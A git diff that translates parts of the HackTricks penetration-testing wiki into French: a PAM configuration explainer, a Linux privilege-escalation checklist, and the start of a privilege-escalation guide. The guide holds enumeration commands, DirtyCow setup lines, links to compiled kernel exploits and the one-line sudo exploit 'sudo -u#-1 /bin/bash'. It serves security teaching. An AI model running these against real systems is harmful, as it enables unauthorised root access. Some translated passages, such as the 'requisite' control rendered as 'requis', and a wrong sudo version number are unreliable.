/lib/security/pam_pwdb.so use_first_pass session required /lib/security/pam_unix_session.so ``` +## **Royaumes de gestion PAM** -## **PAM Management Realms** +La colonne de gauche peut contenir quatre mots uniques, qui représentent quatre royaumes de gestion PAM: **auth**, **account**, **password** et **session**. Bien qu'il existe de nombreux modules qui prennent en charge plus d'un de ces royaumes \(en effet, pam\_unix prend en charge tous les royaumes\), d'autres, comme pam\_cracklib par exemple, ne conviennent qu'à un seul \(la fonctionnalité «password» dans le cas de pam\_cracklib\). -The leftmost column can contains four unique words, which represent four realms of PAM management: **auth**, **account**, **password** and **session**. While there are many modules which support more than one of these realms \(indeed, pam\_unix supports all of them\), others, like pam\_cracklib for instance, are only suited for one \(the ‘password’ facility in pam\_cracklib’s case\). +* **auth**: Le royaume «auth» \(que j'appelle un royaume - les docs le désignent comme un «groupe de gestion» ou une «facilité»\) est responsable de la vérification que l'utilisateur est bien celui qu'il prétend être. Les modules qui peuvent être répertoriés dans cette zone prennent généralement en charge la demande d'un mot de passe. +* **account**: Cette zone est responsable d'une large gamme de fonctionnalités de vérification de compte possibles. Il existe de nombreux modules disponibles pour cette facilité. Les contraintes à l'utilisation d'un service basées sur la vérification de l'appartenance à un groupe, l'heure de la journée, que le compte utilisateur est local ou distant, etc., sont généralement appliquées par des modules qui prennent en charge cette facilité. +* **password**: Les modules de cette zone sont responsables de toute fonctionnalité nécessaire dans le cadre de la mise à jour des mots de passe pour un service donné. La plupart du temps, cette section est assez «banale», appelant simplement un module qui demandera un mot de passe actuel, et, en supposant que cela réussisse, vous demandera un nouveau mot de passe. D'autres modules pourraient être ajoutés pour effectuer une complexité de mot de passe ou une vérification de dictionnaire également, comme celle effectuée par les modules pam\_cracklib et pam\_pwcheck. +* **session**: Les modules de cette zone effectuent un certain nombre de choses qui se produisent soit pendant la configuration ou le nettoyage d'un service pour un utilisateur donné. Cela peut inclure un certain nombre de choses; lancement d'un script d'initialisation à l'échelle du système, réalisation d'une journalisation spéciale, montage du répertoire personnel de l'utilisateur ou définition de limites de ressources. -* **auth**: The ‘auth’ realm \(I call it a realm – the docs refer to it as a ‘management group’ or ‘facility’\) is responsible for checking that the user is who they say. The modules that can be listed in this area **generally** support **prompting for a password**. -* **account**: This area is responsible for a wide array of possible **account verification functionality**. There are many modules available for this facility. Constraints to the use of a service based on **checking group membership**, time of day, whether a user account is local or remote, etc., are generally enforced by modules which support this facility. -* **password**: The modules in this area are responsible for any functionality needed in the course of **updating passwords** for a given service. Most of the time, this section is pretty ‘ho-hum’, simply calling a module that **will prompt for a current password**, and, assuming that’s successful, prompt you for a new one. Other modules could be added to perform **password complexity** or dictionary checking as well, such as that performed by the pam\_cracklib and pam\_pwcheck modules. -* **session**: Modules in this area perform any number of things that happen either **during the setup or cleanup of a service** for a given user. This may include any number of things; launching a system-wide initialization script, performing special logging, **mounting the user’s home directory**, or setting resource limits. +## **Contrôles de module PAM** -## **PAM Module Controls** +La **colonne du milieu** contient un mot-clé qui détermine essentiellement ce que PAM doit faire si le module réussit ou échoue. Ces mots-clés sont appelés «contrôles» en langage PAM. Dans 90% des cas, vous pouvez utiliser l'un des mots-clés courants \(«requis», «obligatoire», «suffisant» ou «facultatif»\). Cependant, ce n'est que la pointe de l'iceberg en termes de libération de la flexibilité et de la puissance de PAM. -The **middle column** holds a keyword that essentially determines w**hat PAM should do if the module either succeeds or fails**. These keywords are called ‘**controls**’ in PAM-speak. In 90% of the cases, you can use one of the common keywords \(**requisite**, **required**, **sufficient** or **optional**\). However, this is only the tip of the iceberg in terms of unleashing the flexibility and power of PAM. +* **required**: Si un module «requis» renvoie un statut qui n'est pas «succès», l'opération échouera toujours, mais seulement après que les modules ci-dessous ont été invoqués. Cela semble absurde à première vue, je suppose, mais cela sert à toujours agir de la même manière du point de vue de l'utilisateur essayant d'utiliser le service. L'effet net est qu'il devient impossible pour un pirate potentiel de déterminer quel module a causé l'échec. +* **requisite**: Si un module «requis» échoue, l'opération échoue non seulement, mais l'opération est immédiatement interrompue avec une erreur sans invoquer d'autres modules. +* **sufficient**: Si un module «suffisant» réussit, il suffit de satisfaire les exigences des modules suffisants dans ce royaume pour l'utilisation du service, et les modules ci-dessous qui sont également répertoriés comme «suffisants» ne sont pas invoqués. S'il échoue, l'opération échoue à moins qu'un module invoqué après lui ne réussisse. +* **optional**: Un module «facultatif», selon la page de manuel pam\(8\), ne fera échouer une opération que s'il est le seul module dans la pile pour cette facilité. -* **required**: If a ‘required’ module returns a status that is **not ‘success’**, the **operation will ultimately fail ALWAYS**, but only after the **modules below it are invoked**. This seems senseless at first glance I suppose, but it serves the purpose of **always acting the same way from the point of view of the user** trying to utilize the service. The net effect is that it becomes **impossible** for a potential cracker to **determine** **which** **module** caused the **failure**. -* **requisite**: If a ‘requisite’ module fails, the **operation** not only **fails**, but the operation is **immediately** **terminated** with a failure without invoking any other modules. -* **sufficient**: If a **sufficient** module **succeeds**, it is enough to satisfy the requirements of sufficient modules in that realm for use of the service, and **modules below it that are also listed as ‘sufficient’ are not invoked**. **If it fails, the operation fails unless a module invoked after it succeeds**. -* **optional**: An ''optional’ module, according to the pam\(8\) manpage, **will only cause an operation to fail if it’s the only module in the stack for that facility**. - -## Example - -In our example file, we have four modules stacked for the auth realm: +## Exemple +Dans notre fichier d'exemple, nous avons quatre modules empilés pour le royaume auth: ```text auth required /lib/security/pam_securetty.so auth required /lib/security/pam_env.so auth sufficient /lib/security/pam_ldap.so auth required /lib/security/pam_unix.so try_first_pass ``` +Comme les modules sont invoqués dans l'ordre, voici ce qui se passera : -As the modules are invoked in order, here is what will happen: - -1. The ‘**pam\_securetty**’ module will check its config file, **`/etc/securetty`**, and see if the terminal being used for this login is listed in the file. If **it’s not, root logins will not be permitted**. If you try to log in as root on a ‘bad’ terminal, this module will fail. Since it’s ‘required’, it will still invoke all of the modules in the stack. However, even if every one of them succeeds, the login will fail. Interesting to note is that if the module were listed as ‘requisite’, the operation would terminate with a failure immediately, without invoking any of the other modules, no matter what their status. -2. The ‘**pam\_env**’ module will s**et environment variables** based on what the administrator has set up in /etc/security/pam\_env.conf. On a default setup of Redhat 9, Fedora Core 1, and Mandrake 9.2, the configuration file for this module doesn’t actually set any variables. A good use for this might be automatically setting a DISPLAY environment variable for a user logging in via SSH so they don’t have to set it themselves if they want to shoot an ‘xterm’ back to their remote desktop \(though this can be taken care of by OpenSSH automagically\). -3. The ‘**pam\_ldap**’ module will **prompt** the user for a **password**, and then check the ldap directory indicated in **`/etc/ldap.conf`** to authenticate the user. If this fails, the operation can still succeed if ‘pam\_unix’ succeeds in authenticating the user. If pam\_ldap succeeds, ‘pam\_unix’ will not be invoked. -4. The ‘**pam\_unix**’ module, in this case, will **not prompt the user for a password**. The ‘try\_first\_pass’ argument will tell the module to **use the password given to it by the preceding module** \(in this case, pam\_ldap\). It will try to authenticate the user using the standard getpw\* system calls. If pam\_unix fails, and pam\_ldap has failed, the operation will fail. If pam\_ldap fails, but pam\_unix succeeds, the operation will succeed \(this is extremely helpful in cases where root is not in the ldap directory, but is still in the local /etc/passwd file!\). - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - +1. Le module '**pam_securetty**' vérifiera son fichier de configuration, **`/etc/securetty`**, et vérifiera si le terminal utilisé pour cette connexion est répertorié dans le fichier. Si **ce n'est pas le cas, les connexions root ne seront pas autorisées**. Si vous essayez de vous connecter en tant que root sur un terminal "mauvais", ce module échouera. Étant donné qu'il est "requis", il invoquera toujours tous les modules de la pile. Cependant, même si chacun d'entre eux réussit, la connexion échouera. Il est intéressant de noter que si le module était répertorié comme "requis", l'opération se terminerait immédiatement par un échec, sans invoquer aucun des autres modules, quel que soit leur statut. +2. Le module '**pam_env**' **définira des variables d'environnement** en fonction de ce que l'administrateur a configuré dans /etc/security/pam_env.conf. Sur une configuration par défaut de Redhat 9, Fedora Core 1 et Mandrake 9.2, le fichier de configuration pour ce module ne définit en fait aucune variable. Une bonne utilisation de cela pourrait être de définir automatiquement une variable d'environnement DISPLAY pour un utilisateur se connectant via SSH afin qu'il n'ait pas à le définir lui-même s'il veut envoyer un 'xterm' vers son bureau à distance (bien que cela puisse être pris en charge automatiquement par OpenSSH). +3. Le module '**pam_ldap**' **demandera** à l'utilisateur un **mot de passe**, puis vérifiera le répertoire ldap indiqué dans **`/etc/ldap.conf`** pour authentifier l'utilisateur. Si cela échoue, l'opération peut toujours réussir si 'pam_unix' réussit à authentifier l'utilisateur. Si pam_ldap réussit, 'pam_unix' ne sera pas invoqué. +4. Le module '**pam_unix**', dans ce cas, **ne demandera pas à l'utilisateur de saisir un mot de passe**. L'argument 'try_first_pass' indiquera au module d'utiliser le mot de passe qui lui a été donné par le module précédent (dans ce cas, pam_ldap). Il essaiera d'authentifier l'utilisateur en utilisant les appels système standard getpw\*. Si pam_unix échoue et que pam_ldap a échoué, l'opération échouera. Si pam_ldap échoue mais que pam_unix réussit, l'opération réussira (ce qui est extrêmement utile dans les cas où root n'est pas dans le répertoire ldap, mais est toujours dans le fichier local /etc/passwd !). diff --git a/linux-hardening/linux-privilege-escalation-checklist.md b/linux-hardening/linux-privilege-escalation-checklist.md index 590395407..66146028b 100644 --- a/linux-hardening/linux-privilege-escalation-checklist.md +++ b/linux-hardening/linux-privilege-escalation-checklist.md @@ -1,183 +1,31 @@ -# Checklist - Linux Privilege Escalation +# Liste de contrôle - Élévation de privilèges Linux
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).​ +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).​
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lisez les tutoriels sur les bugs web3 -🔔 Get notified about new bug bounties +🔔 Recevez des notifications sur les nouveaux programmes de primes de bugs -💬 Participate in community discussions +💬 Participez aux discussions de la communauté -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Meilleur outil pour rechercher des vecteurs d'élévation de privilèges locaux Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -### [System Information](privilege-escalation/#system-information) +### [Informations système](privilege-escalation/#system-information) -* [ ] Get **OS information** -* [ ] Check the [**PATH**](privilege-escalation/#path), any **writable folder**? -* [ ] Check [**env variables**](privilege-escalation/#env-info), any sensitive detail? -* [ ] Search for [**kernel exploits**](privilege-escalation/#kernel-exploits) **using scripts** (DirtyCow?) -* [ ] **Check** if the [**sudo version** is vulnerable](privilege-escalation/#sudo-version) -* [ ] [**Dmesg** signature verification failed](privilege-escalation/#dmesg-signature-verification-failed) -* [ ] More system enum ([date, system stats, cpu info, printers](privilege-escalation/#more-system-enumeration)) -* [ ] [Enumerate more defenses](privilege-escalation/#enumerate-possible-defenses) - -### [Drives](privilege-escalation/#drives) - -* [ ] **List mounted** drives -* [ ] **Any unmounted drive?** -* [ ] **Any creds in fstab?** - -### [**Installed Software**](privilege-escalation/#installed-software) - -* [ ] **Check for**[ **useful software**](privilege-escalation/#useful-software) **installed** -* [ ] **Check for** [**vulnerable software**](privilege-escalation/#vulnerable-software-installed) **installed** - -### [Processes](privilege-escalation/#processes) - -* [ ] Is any **unknown software running**? -* [ ] Is any software running with **more privileges than it should have**? -* [ ] Search for **exploits of running processes** (especially the version running). -* [ ] Can you **modify the binary** of any running process? -* [ ] **Monitor processes** and check if any interesting process is running frequently. -* [ ] Can you **read** some interesting **process memory** (where passwords could be saved)? - -### [Scheduled/Cron jobs?](privilege-escalation/#scheduled-jobs) - -* [ ] Is the [**PATH** ](privilege-escalation/#cron-path)being modified by some cron and you can **write** in it? -* [ ] Any [**wildcard** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)in a cron job? -* [ ] Some [**modifiable script** ](privilege-escalation/#cron-script-overwriting-and-symlink)is being **executed** or is inside **modifiable folder**? -* [ ] Have you detected that some **script** could be or are being [**executed** very **frequently**](privilege-escalation/#frequent-cron-jobs)? (every 1, 2 or 5 minutes) - -### [Services](privilege-escalation/#services) - -* [ ] Any **writable .service** file? -* [ ] Any **writable binary** executed by a **service**? -* [ ] Any **writable folder in systemd PATH**? - -### [Timers](privilege-escalation/#timers) - -* [ ] Any **writable timer**? - -### [Sockets](privilege-escalation/#sockets) - -* [ ] Any **writable .socket** file? -* [ ] Can you **communicate with any socket**? -* [ ] **HTTP sockets** with interesting info? - -### [D-Bus](privilege-escalation/#d-bus) - -* [ ] Can you **communicate with any D-Bus**? - -### [Network](privilege-escalation/#network) - -* [ ] Enumerate the network to know where you are -* [ ] **Open ports you couldn't access before** getting a shell inside the machine? -* [ ] Can you **sniff traffic** using `tcpdump`? - -### [Users](privilege-escalation/#users) - -* [ ] Generic users/groups **enumeration** -* [ ] Do you have a **very big UID**? Is the **machine** **vulnerable**? -* [ ] Can you [**escalate privileges thanks to a group**](privilege-escalation/interesting-groups-linux-pe/) you belong to? -* [ ] **Clipboard** data? -* [ ] Password Policy? -* [ ] Try to **use** every **known password** that you have discovered previously to login **with each** possible **user**. Try to login also without a password. - -### [Writable PATH](privilege-escalation/#writable-path-abuses) - -* [ ] If you have **write privileges over some folder in PATH** you may be able to escalate privileges - -### [SUDO and SUID commands](privilege-escalation/#sudo-and-suid) - -* [ ] Can you execute **any command with sudo**? Can you use it to READ, WRITE or EXECUTE anything as root? ([**GTFOBins**](https://gtfobins.github.io)) -* [ ] Is any **exploitable SUID binary**? ([**GTFOBins**](https://gtfobins.github.io)) -* [ ] Are [**sudo** commands **limited** by **path**? can you **bypass** the restrictions](privilege-escalation/#sudo-execution-bypassing-paths)? -* [ ] [**Sudo/SUID binary without path indicated**](privilege-escalation/#sudo-command-suid-binary-without-command-path)? -* [ ] [**SUID binary specifying path**](privilege-escalation/#suid-binary-with-command-path)? Bypass -* [ ] [**LD\_PRELOAD vuln**](privilege-escalation/#ld\_preload) -* [ ] [**Lack of .so library in SUID binary**](privilege-escalation/#suid-binary-so-injection) from a writable folder? -* [ ] [**SUDO tokens available**](privilege-escalation/#reusing-sudo-tokens)? [**Can you create a SUDO token**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)? -* [ ] Can you [**read or modify sudoers files**](privilege-escalation/#etc-sudoers-etc-sudoers-d)? -* [ ] Can you [**modify /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)? -* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) command - -### [Capabilities](privilege-escalation/#capabilities) - -* [ ] Has any binary any **unexpected capability**? - -### [ACLs](privilege-escalation/#acls) - -* [ ] Has any file any **unexpected ACL**? - -### [Open Shell sessions](privilege-escalation/#open-shell-sessions) - -* [ ] **screen** -* [ ] **tmux** - -### [SSH](privilege-escalation/#ssh) - -* [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166) -* [ ] [**SSH Interesting configuration values**](privilege-escalation/#ssh-interesting-configuration-values) - -### [Interesting Files](privilege-escalation/#interesting-files) - -* [ ] **Profile files** - Read sensitive data? Write to privesc? -* [ ] **passwd/shadow files** - Read sensitive data? Write to privesc? -* [ ] **Check commonly interesting folders** for sensitive data -* [ ] **Weird Location/Owned files,** you may have access to or alter executable files -* [ ] **Modified** in last mins -* [ ] **Sqlite DB files** -* [ ] **Hidden files** -* [ ] **Script/Binaries in PATH** -* [ ] **Web files** (passwords?) -* [ ] **Backups**? -* [ ] **Known files that contains passwords**: Use **Linpeas** and **LaZagne** -* [ ] **Generic search** - -### [**Writable Files**](privilege-escalation/#writable-files) - -* [ ] **Modify python library** to execute arbitrary commands? -* [ ] Can you **modify log files**? **Logtotten** exploit -* [ ] Can you **modify /etc/sysconfig/network-scripts/**? Centos/Redhat exploit -* [ ] Can you [**write in ini, int.d, systemd or rc.d files**](privilege-escalation/#init-init-d-systemd-and-rc-d)? - -### [**Other tricks**](privilege-escalation/#other-tricks) - -* [ ] Can you [**abuse NFS to escalate privileges**](privilege-escalation/#nfs-privilege-escalation)? -* [ ] Do you need to [**escape from a restrictive shell**](privilege-escalation/#escaping-from-restricted-shells)? - -
- -[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** - -🐞 Read web3 bug tutorials - -🔔 Get notified about new bug bounties - -💬 Participate in community discussions - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+* [ ] Obtenez des **informations sur le système d'exploitation** +* [ ] Vérifiez le [**PATH**](privilege-escalation/#path), un **dossier accessible en écriture** ? +* [ ] Vérifiez les [**variables d'environnement**]( diff --git a/linux-hardening/privilege-escalation/README.md b/linux-hardening/privilege-escalation/README.md index d0376ec2d..0477d0d37 100644 --- a/linux-hardening/privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/README.md @@ -1,76 +1,65 @@ -# Linux Privilege Escalation +# Élévation de privilèges Linux
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## System Information +## Informations système -### OS info - -Let's start gaining some knowledge of the OS running +### Informations sur le système d'exploitation +Commençons par acquérir des connaissances sur le système d'exploitation en cours d'exécution. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` +### Chemin -### Path - -If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijack some libraries or binaries: - +Si vous **avez des permissions d'écriture sur n'importe quel dossier à l'intérieur de la variable `PATH`**, vous pourriez être en mesure de détourner certaines bibliothèques ou binaires : ```bash echo $PATH ``` +### Info d'environnement -### Env info - -Interesting information, passwords or API keys in the environment variables? - +Des informations intéressantes, des mots de passe ou des clés API dans les variables d'environnement ? ```bash (env || set) 2>/dev/null ``` +### Exploits du noyau -### Kernel exploits - -Check the kernel version and if there is some exploit that can be used to escalate privileges - +Vérifiez la version du noyau et s'il existe une faille qui peut être utilisée pour escalader les privilèges. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` +Vous pouvez trouver une bonne liste de noyaux vulnérables et certains **exploits compilés** ici : [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) et [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ +D'autres sites où vous pouvez trouver des **exploits compilés** : [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ -Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) - -To extract all the vulnerable kernel versions from that web you can do: - +Pour extraire toutes les versions de noyaux vulnérables à partir de ce site, vous pouvez faire : ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` - -Tools that could help to search for kernel exploits are: +Des outils qui pourraient aider à rechercher des exploits du noyau sont : [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécuter sur la victime, ne vérifie que les exploits pour le noyau 2.x) -Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. +Toujours **rechercher la version du noyau sur Google**, peut-être que votre version du noyau est mentionnée dans un exploit du noyau et alors vous serez sûr que cet exploit est valide. ### CVE-2016-5195 (DirtyCow) -Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 - +Élévation de privilèges Linux - Noyau Linux <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -78,50 +67,38 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` +### Version de Sudo -### Sudo version - -Based on the vulnerable sudo versions that appear in: - +En fonction des versions vulnérables de Sudo qui apparaissent dans: ```bash searchsploit sudo ``` - -You can check if the sudo version is vulnerable using this grep. - +Vous pouvez vérifier si la version de sudo est vulnérable en utilisant cette commande grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` - ### sudo < v1.28 -From @sickrov - +De @sickrov ``` sudo -u#-1 /bin/bash ``` +### Échec de vérification de la signature Dmesg -### Dmesg signature verification failed - -Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited - +Vérifiez la **boîte smasher2 de HTB** pour un **exemple** de la façon dont cette vulnérabilité pourrait être exploitée. ```bash dmesg 2>/dev/null | grep "signature" ``` - -### More system enumeration - +### Plus d'énumération du système ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` - -## Enumerate possible defenses +## Énumérer les défenses possibles ### AppArmor - ```bash if [ `which aa-status 2>/dev/null` ]; then aa-status @@ -133,125 +110,113 @@ if [ `which aa-status 2>/dev/null` ]; then echo "Not found AppArmor" fi ``` - ### Grsecurity +Grsecurity est un patch de sécurité pour le noyau Linux qui ajoute des fonctionnalités de sécurité supplémentaires pour empêcher les attaques de type exploitation de vulnérabilités. Il est conçu pour être utilisé en conjonction avec d'autres mesures de sécurité telles que SELinux et AppArmor pour fournir une défense en profondeur contre les attaques. Les fonctionnalités de Grsecurity incluent la prévention des attaques de débordement de tampon, la randomisation de l'espace d'adressage, la protection contre les attaques de type race condition et la restriction des privilèges pour les processus. ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` - ### PaX +PaX est un patch pour le noyau Linux qui implémente une protection de l'espace utilisateur contre les attaques de débordement de tampon. Il utilise une technique appelée Randomisation de l'Espace d'Adressage (ASLR) pour rendre plus difficile l'exploitation des vulnérabilités de sécurité. PaX est souvent utilisé en conjonction avec d'autres mesures de sécurité pour renforcer la sécurité des systèmes Linux. ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` - ### Execshield +Execshield est une fonctionnalité de sécurité du noyau Linux qui vise à empêcher l'exécution de code malveillant en mémoire. Il utilise des techniques telles que la randomisation de l'espace d'adressage et la protection de la pile pour empêcher les attaquants d'exploiter des 